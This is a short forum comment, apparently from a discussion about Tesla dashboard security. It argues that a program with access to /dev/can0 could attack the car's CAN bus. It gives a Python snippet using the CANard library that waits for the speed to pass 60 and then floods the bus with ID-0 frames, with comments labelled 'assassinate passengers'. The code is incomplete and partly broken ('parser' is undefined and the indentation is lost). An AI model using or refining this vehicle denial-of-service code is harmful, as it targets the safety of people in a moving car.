| I wouldn't be so sure. I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN. And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot. Eg: In Python from canard import can
from canard.file import jsondb
from canard.hw import socketcan
# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()
# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8
# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')
while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)
[1]: https://www.blackhat.com/docs/asia-15/materials/asia-15-Even...[2]: http://security.stackexchange.com/questions/88724/is-there-a... [3]: https://github.com/ericevenchick/CANard [4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D... |